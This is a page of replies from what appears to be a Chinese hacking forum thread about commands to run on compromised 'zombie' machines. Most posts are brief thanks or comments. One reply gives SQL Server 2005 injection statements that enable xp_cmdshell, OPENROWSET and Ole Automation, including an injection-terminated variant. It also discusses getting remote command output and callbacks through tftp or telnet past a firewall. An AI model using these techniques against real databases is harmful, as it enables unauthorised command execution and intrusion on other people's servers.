yjvkdcw 发表于 2008-12-1 22:05:45

我来看下~~呵呆

lds519 发表于 2008-12-1 22:23:54

在哪看过呢?转的吧?

heianlang 发表于 2008-12-2 10:18:44

真可怜啊 还没鸡呢

luotuojie 发表于 2008-12-3 20:10:38

新手的需要。

lizheng19910 发表于 2008-12-5 06:44:37

你可能遇到SQL2005了,SQL2005注入首先要打开一些存储存过程的开关:
SQL2005开启选项的一些方法整理:
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
sql2005下,xp_cmdshell、sp_oA的开启方法我查到资料了,我都已经开启了,浏览器返回正常,执行命令不会再出现权限错误,但是执行“sp_oA”时会出现超时提示,执行“xp_cmdshell“时,本地监听无反应,这些我在提问贴里已经说明了,不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
;exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
对于SQL2005,貌似NBSI,穿山甲等注入工具都列不出数据,目录和命令输出,希望作者升级一下.

hou741126 发表于 2008-12-5 07:04:47

这个要好好学学,谢谢楼主分享了

yxl87776198 发表于 2008-12-5 07:16:15

先看看再说

8805811 发表于 2008-12-5 08:07:16

支持

qwe110120520 发表于 2008-12-8 22:19:02

是吗?
我先看看啊

小笨辉辉 发表于 2008-12-9 01:12:00

这个谁都会了。老套了
页: 69 70 71 72 73 74 75 76 77 78 [79] 80 81 82 83 84 85 86 87 88
查看完整版本: 所有得肉鸡后的命令!看了不变高手才怪了!新手老手都飞来2年的心血!